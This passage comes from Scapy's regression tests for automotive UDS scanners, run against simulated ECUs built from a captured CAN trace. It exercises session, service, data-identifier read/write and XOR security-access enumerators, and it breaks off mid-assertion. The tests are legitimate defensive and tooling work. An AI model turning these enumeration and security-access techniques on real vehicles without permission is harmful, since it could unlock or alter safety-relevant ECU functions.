    "content": "% Regression tests for automotive scanner test_case\n\n+ Load general modules\n\n= Load contribution layer\n\nfrom scapy.contrib.automotive.scanner.test_case import AutomotiveTestCase\nfrom scapy.contrib.automotive.ecu import EcuState\n\n+ Basic checks\n\n= Definition of Test class\n\nclass MyTestCase(AutomotiveTestCase):\n    _description = \"MyTestCase\"\n    _supported_kwargs = {\"testarg\": (int, None)}\n    def supported_responses(self):\n        return []\n\n= Check supported kwargs\n\ntry:\n    MyTestCase.check_kwargs({\"testarg\": 5})\nexcept Scapy_Exception as e:\n    assert False\n\ntry:\n    MyTestCase.check_kwargs({\"test\": 5})\n    assert False\nexcept Scapy_Exception as e:\n    assert \"Keyword-Argument test not supported\" in str(e)\n\ntry:\n    MyTestCase.check_kwargs({\"testarg\": 5.5})\n    assert False\nexcept Scapy_Exception as e:\n    assert \"Keyword-Value\" in str(e)\n    assert \"is not instance of type <class 'int'>\" in str(e) or \\\n           \"is not instance of type <type 'int'>\" in str(e)\n\n= Create instance of test class\n\nmt = MyTestCase()\n\nmt._state_completed[EcuState(session=1)] = True\nmt._state_completed[EcuState(session=2)] = True\nmt._state_completed[EcuState(session=3)] = False\n\n= Tests of has_completed\n\nassert mt.completed is False\nassert mt.has_completed(EcuState(session=1))\nassert mt.has_completed(EcuState(session=3)) is False\n\nassert len(mt.scanned_states) == 3\n\n= Tests of has_completed with new state\n\nassert mt.completed is False\nassert mt.has_completed(EcuState(session=4)) is False\nassert mt.has_completed(EcuState(session=3)) is False\n\nassert len(mt.scanned_states) == 4\n\n= Tests of completed\n\nmt._state_completed[EcuState(session=3)] = True\nmt._state_completed[EcuState(session=4)] = True\n\nassert mt.completed\n\n= Test of show\n\nheader = mt._show_header(dump=True)\n\nassert \"MyTestCase\" in header\n\nstate_info = mt._show_state_information(dump=True)\n\nassert \"session\" in state_info\nassert \"False\" not in state_info\nassert \"True\" in state_info\n\nmt._state_completed[EcuState(session=3)] = False\nstate_info = mt._show_state_information(dump=True)\n\nassert \"session\" in state_info\nassert \"False\" in state_info\nassert \"True\" in state_info\n\ndump = mt.show(dump=True, verbose=True)\n\nassert \"session\" in dump\nassert \"MyTestCase\" in dump\n\n\n\n\n\n\n\n"
  },
  {
    "path": "test/contrib/automotive/scanner/uds_scanner.uts",
    "content": "% Regression tests for Simulated ECUs and UDS Scanners\n~ scanner\n\n+ Configuration\n~ conf\n\n= Imports\nimport io\nimport pickle\nfrom scapy.contrib.isotp import ISOTPMessageBuilder\nfrom test.testsocket import TestSocket, cleanup_testsockets, UnstableSocket\nfrom scapy.automaton import ObjectPipe\n\n############\n############\n+ Load general modules\n\n= Load contribution layer\n\n\nfrom scapy.contrib.automotive.uds import *\nfrom scapy.contrib.automotive.uds_ecu_states import *\nfrom scapy.contrib.automotive.uds_scan import *\nfrom scapy.contrib.automotive.ecu import *\n\nload_layer(\"can\")\n\nconf.debug_dissector = False\n\n\n= Define Testfunction\n\ndef executeScannerInVirtualEnvironment(supported_responses, enumerators, unstable_socket=True, software_reset=False, **kwargs):\n    tester_obj_pipe = ObjectPipe(name=\"TesterPipe\")\n    ecu_obj_pipe = ObjectPipe(name=\"ECUPipe\")\n    TesterSocket = UnstableSocket if unstable_socket else TestSocket\n    tester = TesterSocket(UDS, tester_obj_pipe)\n    ecu = TestSocket(UDS, ecu_obj_pipe)\n    tester.pair(ecu)\n    answering_machine = EcuAnsweringMachine(\n        supported_responses=supported_responses, main_socket=ecu,\n        basecls=UDS, verbose=False)\n    def reset():\n        answering_machine.state.reset()\n        answering_machine.state[\"session\"] = 1\n        sniff(timeout=0.001, opened_socket=[ecu, tester])\n    def reconnect():\n        try:\n            tester.close()\n        except Exception:\n            pass\n        tester = TesterSocket(UDS, tester_obj_pipe)\n        ecu.pair(tester)\n        return tester\n    def answering_machine_thread():\n        answering_machine(\n            timeout=120, stop_filter=lambda x: bytes(x) == b\"\\xff\\xff\\xff\")\n    sim = threading.Thread(target=answering_machine_thread)\n    try:\n        sim.start()\n        if software_reset:\n            scanner = UDS_Scanner(\n                tester,\n                software_reset_handler=uds_software_reset,\n                reconnect_handler=reconnect,\n                test_cases=enumerators,\n                timeout=0.1,\n                retry_if_none_received=True,\n                unittest=True,\n                **kwargs)\n        else:\n            scanner = UDS_Scanner(\n                tester,\n                reset_handler=reset,\n                reconnect_handler=reconnect,\n                test_cases=enumerators,\n                timeout=0.1,\n                retry_if_none_received=True,\n                unittest=True,\n                **kwargs)\n        for i in range(12):\n            print(\"Starting scan\")\n            scanner.scan(timeout=10)\n            if scanner.scan_completed:\n                print(\"Scan completed after %d iterations\" % i)\n                break\n    finally:\n        ecu.ins.send(Raw(b\"\\xff\\xff\\xff\"))\n        sim.join(timeout=2)\n        assert not sim.is_alive()\n        cleanup_testsockets()\n        tester_obj_pipe.close()\n        ecu_obj_pipe.close()\n    if LINUX:\n        pickle_test(scanner)\n    return scanner\n\ndef pickle_test(scanner):\n    f = io.BytesIO()\n    pickle.dump(scanner, f)\n    unp = pickle.loads(f.getvalue())\n    assert scanner.scan_completed == unp.scan_completed\n    assert scanner.state_paths == unp.state_paths\n\n= Load packets from pcap\n\nconf.contribs['CAN']['swap-bytes'] = True\npkts = rdpcap(scapy_path(\"test/pcaps/candump_uds_scanner.pcap.gz\"))\nassert len(pkts)\n\n= Create UDS messages from packets\n\nbuilder = ISOTPMessageBuilder(basecls=UDS, use_ext_address=False, rx_id=[0x641, 0x651])\nmsgs = list()\n\nfor p in pkts:\n    if p.data == b\"ECURESET\":\n        msgs.append(p)\n    else:\n        builder.feed(p)\n        if len(builder):\n            msgs.append(builder.pop())\n\nassert len(msgs)\n\n= Create ECU-Clone from packets\n\nmEcu = Ecu(logging=False, verbose=False, store_supported_responses=True, lookahead=3)\n\nfor p in msgs:\n    if isinstance(p, CAN) and p.data == b\"ECURESET\":\n        mEcu.reset()\n    else:\n        mEcu.update(p)\n\nassert len(mEcu.supported_responses)\n\n= Test UDS_SAEnumerator evaluate_response\n\ne = UDS_SAEnumerator()\n\nconfig = {}\n\ns = EcuState(session=1)\n\nassert False == e._evaluate_response(s, UDS(b\"\\x27\\x01\"), None, **config)\nconfig = {\"exit_if_service_not_supported\": True}\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, UDS(b\"\\x27\\x01\"), UDS(b\"\\x7f\\x27\\x11\"), **config)\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, UDS(b\"\\x27\\x01\"), UDS(b\"\\x7f\\x27\\x24\"), **config)\nassert e._retry_pkt[s] == UDS(b\"\\x27\\x01\")\nassert False == e._evaluate_response(s, UDS(b\"\\x27\\x02\"), UDS(b\"\\x7f\\x27\\x24\"), **config)\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, UDS(b\"\\x27\\x01\"), UDS(b\"\\x7f\\x27\\x37\"), **config)\nassert e._retry_pkt[s] == UDS(b\"\\x27\\x01\")\nassert False == e._evaluate_response(s, UDS(b\"\\x27\\x01\"), UDS(b\"\\x7f\\x27\\x37\"), **config)\nassert not e._retry_pkt[s]\nassert True == e._evaluate_response(s, UDS(b\"\\x27\\x01\"), UDS(b\"\\x67\\x01ab\"), **config)\nassert not e._retry_pkt[s]\nassert False == e._evaluate_response(s, UDS(b\"\\x27\\x01\"), UDS(b\"\\x67\\x02ab\"), **config)\nassert not e._retry_pkt[s]\n\n\n= Test UDS_SA_XOR_Enumerator stand alone mode\n\nTesterSocket = TestSocket\necu_sock = TestSocket(UDS)\nmTester = TesterSocket(UDS)\necu_sock.pair(mTester)\nanswering_machine = EcuAnsweringMachine(supported_responses=mEcu.supported_responses, main_socket=ecu_sock, basecls=UDS, verbose=False)\nsim = threading.Thread(target=answering_machine, kwargs={'timeout': 1000, \"stop_filter\": lambda x: bytes(x) == b\"\\xff\\xff\\xff\"})\nsim.start()\ntry:\n    resp = mTester.sr1(UDS()/UDS_TP(b\"\\x00\"), verbose=False, timeout=1)\n    print(repr(resp))\n    assert resp and resp.service != 0x7f\n    resp = mTester.sr1(UDS()/UDS_DSC(diagnosticSessionType=3), verbose=False, timeout=1)\n    print(repr(resp))\n    assert resp and resp.service != 0x7f\n    assert UDS_SA_XOR_Enumerator().get_security_access(mTester, 1)\nfinally:\n    mTester.send(Raw(b\"\\xff\\xff\\xff\"))\n    sim.join(timeout=2)\n    cleanup_testsockets()\n\n\n= Test configuration validation\n\ntry:\n    scanner = UDS_Scanner(TestSocket(UDS),\n                          test_cases=[UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator],\n                          UDS_DSCEnumerator_kwargs={\"scan_range\": range(0x1000), \"delay_state_change\": 0,\n                                                    \"overwrite_timeout\": False})\n    assert False\nexcept Scapy_Exception:\n    pass\n\n= Simulate ECU and run Scanner\n\nscanner = executeScannerInVirtualEnvironment(\n    mEcu.supported_responses,\n    [UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator],\n    UDS_DSCEnumerator_kwargs={\"scan_range\": range(5), \"delay_state_change\": 0,\n                              \"overwrite_timeout\": False},\n    UDS_SA_XOR_Enumerator_kwargs={\"scan_range\": range(5)},\n    UDS_ServiceEnumerator_kwargs={\"scan_range\": [0x10, 0x11, 0x14, 0x19, 0x22,\n                                                 0x23, 0x24, 0x27, 0x28, 0x29,\n                                                 0x2A, 0x2C, 0x2E, 0x2F, 0x31,\n                                                 0x34, 0x35, 0x36, 0x37, 0x38,\n                                                 0x3D, 0x3E, 0x83, 0x84, 0x85,\n                                                 0x87],\n                                  \"request_length\": 1})\n\nscanner.show_testcases()\nscanner.show_testcases_status()\nassert len(scanner.state_paths) == 5\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\nassert EcuState(session=1) in scanner.final_states\nassert EcuState(session=2, tp=1) in scanner.final_states\nassert EcuState(session=3, tp=1) in scanner.final_states\nassert EcuState(session=2, tp=1, security_level=2) in scanner.final_states\nassert EcuState(session=3, tp=1, security_level=2) in scanner.final_states\n\n#################### UDS_SA_XOR_Enumerator ################\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 19\nassert len(tc.results_with_positive_response) >= 6\nassert len(tc.scanned_states) == 5\n\nresult = tc.show(dump=True)\n\nassert \"serviceNotSupportedInActiveSession received 5 times\" in result\nassert \"incorrectMessageLengthOrInvalidFormat received 14 times\" in result\n\n################# UDS_DSCEnumerator #####################\ntc = scanner.configuration.test_cases[1]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 20\nassert len(tc.results_with_positive_response) == 5\nassert len(tc.scanned_states) == 5\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat received 20 times\" in result\n\n###################### UDS_ServiceEnumerator ###################\ntc = scanner.configuration.test_cases[2]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 130\nassert len(tc.results_with_positive_response) == 0\nassert len(tc.scanned_states) == 5\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat received 34 times\" in result\nassert \"serviceNotSupported received 75 times\" in result\nassert \"serviceNotSupportedInActiveSession received 19 times\" in result\nassert \"securityAccessDenied received 2 times\" in result\n\n= Simulate ECU and run Scanner with software resert\n\nresponses = ([EcuResponse(None, [UDS()/UDS_DSCPR(b\"\\x01\")])]\n             + mEcu.supported_responses)\n\nscanner = executeScannerInVirtualEnvironment(\n    responses,\n    [UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator],\n    software_reset=True,\n    UDS_DSCEnumerator_kwargs={\"scan_range\": range(5), \"delay_state_change\": 0,\n                              \"overwrite_timeout\": False},\n    UDS_SA_XOR_Enumerator_kwargs={\"scan_range\": range(5)},\n    UDS_ServiceEnumerator_kwargs={\"scan_range\": [0x10, 0x11, 0x14, 0x19, 0x22,\n                                                 0x23, 0x24, 0x27, 0x28, 0x29,\n                                                 0x2A, 0x2C, 0x2E, 0x2F, 0x31,\n                                                 0x34, 0x35, 0x36, 0x37, 0x38,\n                                                 0x3D, 0x3E, 0x83, 0x84, 0x85,\n                                                 0x87],\n                                  \"request_length\": 1})\n\nscanner.show_testcases()\nscanner.show_testcases_status()\nassert len(scanner.state_paths) == 6\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\nassert EcuState(session=1) in scanner.final_states\nassert EcuState(session=2, tp=1) in scanner.final_states\nassert EcuState(session=1, tp=1) in scanner.final_states\nassert EcuState(session=3, tp=1) in scanner.final_states\nassert EcuState(session=2, tp=1, security_level=2) in scanner.final_states\nassert EcuState(session=3, tp=1, security_level=2) in scanner.final_states\n\n#################### UDS_SA_XOR_Enumerator ################\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 24\nassert len(tc.results_with_positive_response) >= 6\nassert len(tc.scanned_states) == 6\n\nresult = tc.show(dump=True)\n\nassert \"serviceNotSupportedInActiveSession received 5 times\" in result\nassert \"incorrectMessageLengthOrInvalidFormat received 14 times\" in result\n\n################# UDS_DSCEnumerator #####################\ntc = scanner.configuration.test_cases[1]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 17\nassert len(tc.results_with_positive_response) == 13\nassert len(tc.scanned_states) == 6\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat received 14 times\" in result\n\n###################### UDS_ServiceEnumerator ###################\ntc = scanner.configuration.test_cases[2]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 156\nassert len(tc.results_with_positive_response) == 0\nassert len(tc.scanned_states) == 6\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat received 34 times\" in result\nassert \"serviceNotSupported received 75 times\" in result\nassert \"serviceNotSupportedInActiveSession received 19 times\" in result\nassert \"securityAccessDenied received 2 times\" in result\n\n= Simulate ECU and run Scanner with software resert 2\n\nresponses = ([EcuResponse(None, [UDS()/UDS_ERPR(b\"\\x01\")])]\n             + mEcu.supported_responses)\n\nscanner = executeScannerInVirtualEnvironment(\n    responses,\n    [UDS_SA_XOR_Enumerator, UDS_DSCEnumerator, UDS_ServiceEnumerator],\n    software_reset=True,\n    UDS_DSCEnumerator_kwargs={\"scan_range\": range(5), \"delay_state_change\": 0,\n                              \"overwrite_timeout\": False},\n    UDS_SA_XOR_Enumerator_kwargs={\"scan_range\": range(5)},\n    UDS_ServiceEnumerator_kwargs={\"scan_range\": [0x10, 0x11, 0x14, 0x19, 0x22,\n                                                 0x23, 0x24, 0x27, 0x28, 0x29,\n                                                 0x2A, 0x2C, 0x2E, 0x2F, 0x31,\n                                                 0x34, 0x35, 0x36, 0x37, 0x38,\n                                                 0x3D, 0x3E, 0x83, 0x84, 0x85,\n                                                 0x87],\n                                  \"request_length\": 1})\n\nscanner.show_testcases()\nscanner.show_testcases_status()\nassert len(scanner.state_paths) == 5\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\nassert EcuState(session=1) in scanner.final_states\nassert EcuState(session=2, tp=1) in scanner.final_states\nassert EcuState(session=3, tp=1) in scanner.final_states\nassert EcuState(session=2, tp=1, security_level=2) in scanner.final_states\nassert EcuState(session=3, tp=1, security_level=2) in scanner.final_states\n\n#################### UDS_SA_XOR_Enumerator ################\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 19\nassert len(tc.results_with_positive_response) >= 6\nassert len(tc.scanned_states) == 5\n\nresult = tc.show(dump=True)\n\nassert \"serviceNotSupportedInActiveSession received 5 times\" in result\nassert \"incorrectMessageLengthOrInvalidFormat received 14 times\" in result\n\n################# UDS_DSCEnumerator #####################\ntc = scanner.configuration.test_cases[1]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 20\nassert len(tc.results_with_positive_response) == 5\nassert len(tc.scanned_states) == 5\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat received 20 times\" in result\n\n###################### UDS_ServiceEnumerator ###################\ntc = scanner.configuration.test_cases[2]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 130\nassert len(tc.results_with_positive_response) == 0\nassert len(tc.scanned_states) == 5\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat received 34 times\" in result\nassert \"serviceNotSupported received 75 times\" in result\nassert \"serviceNotSupportedInActiveSession received 19 times\" in result\nassert \"securityAccessDenied received 2 times\" in result\n\n\n= UDS_ServiceEnumerator\n\ndef req_handler(resp, req):\n    if req.service != 0x22:\n        return False\n    if len(req) == 1:\n        resp.negativeResponseCode=\"generalReject\"\n        return True\n    if len(req) == 2:\n        resp.negativeResponseCode=\"incorrectMessageLengthOrInvalidFormat\"\n        return True\n    if len(req) == 3:\n        resp.negativeResponseCode=\"requestOutOfRange\"\n        return True\n    return False\n\nresps = [EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")], req_handler)]\n\nes = [UDS_ServiceEnumerator]\n\ndebug_dissector_backup = conf.debug_dissector\n\n# This Enumerator is sending corrupted Packets, therefore we need to disable the debug_dissector\nconf.debug_dissector = False\nscanner = executeScannerInVirtualEnvironment(\n    resps, es, UDS_ServiceEnumerator_kwargs={\"request_length\": 3}, unstable_socket=False)\nconf.debug_dissector = debug_dissector_backup\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\ntc.show()\n\nassert len(tc.results_with_negative_response) == 128 * 3\nassert len(tc.results_with_positive_response) == 0\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"incorrectMessageLengthOrInvalidFormat\" in result\nassert \"requestOutOfRange\" in result\n\n= UDS_RDBIEnumerator\n\nresps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0xff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")])]\n\nes = [UDS_RDBIEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(\n    resps, es, UDS_RDBIEnumerator_kwargs={\"scan_range\": range(0x100)})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\ntc = scanner.configuration.test_cases[0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 256 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"beef2\" in result\nassert \"beef3\" in result\nassert \"beefff\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.identifiers[0] for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n= UDS_RDBISelectiveEnumerator\n~ not_pypy\n\nresps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x101)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x102)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x103)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x104)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x105)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x106)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x107)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x108)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x109)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x110)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x111)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x112)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x113)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x114)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x115)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x116)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x117)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x118)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x119)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x120)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x121)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x122)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x123)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x124)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x125)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x126)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x127)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x128)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x129)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x130)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x131)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x132)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x133)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x134)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0x135)/Raw(b\"beef35\")]),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")])]\n\nes = [UDS_RDBISelectiveEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(resps, es, UDS_RDBIRandomEnumerator_kwargs={\"probe_start\": 0, \"probe_end\": 0x500})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.stages[0][0]\n\ntc.show()\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) > 100\nassert len(tc.results_with_positive_response) >= 1\nassert len(tc.scanned_states) == 1\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.stages[0][1]\n\ntc.show()\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 29\nassert len(tc.results_with_positive_response) == 35\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"beef2\" in result\nassert \"beef3\" in result\nassert \"beef35\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.identifiers[0] for t in tc.results_with_positive_response]\n\nassert 0x101 in ids\nassert 0x102 in ids\nassert 0x103 in ids\nassert 0x135 in ids\n\n= UDS_WDBIEnumerator\n\ndef wdbi_handler(resp, req):\n    if req.service != 0x2E:\n        return False\n    assert req.dataIdentifier in [1, 2, 3, 0xff]\n    resp.dataIdentifier = req.dataIdentifier\n    if req.dataIdentifier == 1:\n        assert req.load == b'asdfbeef1'\n        return True\n    if req.dataIdentifier == 2:\n        assert req.load == b'beef2'\n        return True\n    if req.dataIdentifier == 3:\n        assert req.load == b\"beef3\"\n        return True\n    if req.dataIdentifier == 0xff:\n        assert req.load == b\"beefff\"\n        return True\n    return False\n\nresps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0xff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [UDS()/UDS_WDBIPR()], answers=wdbi_handler),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")])]\n\nes = [UDS_WDBISelectiveEnumerator()]\n\nscanner = executeScannerInVirtualEnvironment(\n    resps, es, UDS_RDBIEnumerator_kwargs={\"scan_range\": range(0x100)})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.stages[0][0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 256 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"beef2\" in result\nassert \"beef3\" in result\nassert \"beefff\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.identifiers[0] for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n######################### WDBI #############################\ntc = scanner.configuration.stages[0][1]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 0\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nids = [t.req.dataIdentifier for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n= UDS_WDBIEnumerator 2\n\ndef wdbi_handler(resp, req):\n    if req.service != 0x2E:\n        return False\n    assert req.dataIdentifier in [1, 2, 3, 0xff]\n    resp.dataIdentifier = req.dataIdentifier\n    if req.dataIdentifier == 1:\n        assert req.load == b'asdfbeef1'\n        return True\n    if req.dataIdentifier == 2:\n        assert req.load == b'beef2'\n        return True\n    if req.dataIdentifier == 3:\n        assert req.load == b\"beef3\"\n        return True\n    if req.dataIdentifier == 0xff:\n        assert req.load == b\"beefff\"\n        return True\n    return False\n\nresps = [EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=1)/Raw(b\"asdfbeef1\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=2)/Raw(b\"beef2\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=3)/Raw(b\"beef3\")]),\n         EcuResponse(None, [UDS()/UDS_RDBIPR(dataIdentifier=0xff)/Raw(b\"beefff\")]),\n         EcuResponse(None, [UDS()/UDS_WDBIPR()], answers=wdbi_handler),\n         EcuResponse(None, [UDS()/UDS_NR(negativeResponseCode=\"subFunctionNotSupported\", requestServiceId=\"ReadDataByIdentifier\")])]\n\nes = [UDS_WDBISelectiveEnumerator]\n\nscanner = executeScannerInVirtualEnvironment(\n    resps, es, UDS_RDBIEnumerator_kwargs={\"scan_range\": range(0x100)})\n\nassert scanner.scan_completed\nassert scanner.progress() > 0.95\n\ntc = scanner.configuration.test_cases[0][0]\n\nassert len(tc.results_without_response) < 10\nif tc.results_without_response:\n    tc.show()\n\nassert len(tc.results_with_negative_response) == 256 - 4\nassert len(tc.results_with_positive_response) == 4\nassert len(tc.scanned_states) == 1\n\nresult = tc.show(dump=True)\n\nassert \"asdfbeef1\" in result\nassert \"beef2\" in result\nassert \"beef3\" in result\nassert \"beefff\" in result\nassert \"subFunctionNotSupported received\" in result\n\nids = [t.req.identifiers[0] for t in tc.results_with_positive_response]\n\nassert 1 in ids\nassert 2 in ids\nassert 3 in ids\nassert 0xff in ids\n\n######################### WDBI #############################\ntc = scanner.configuration.test_cases[0][1]\n\nassert 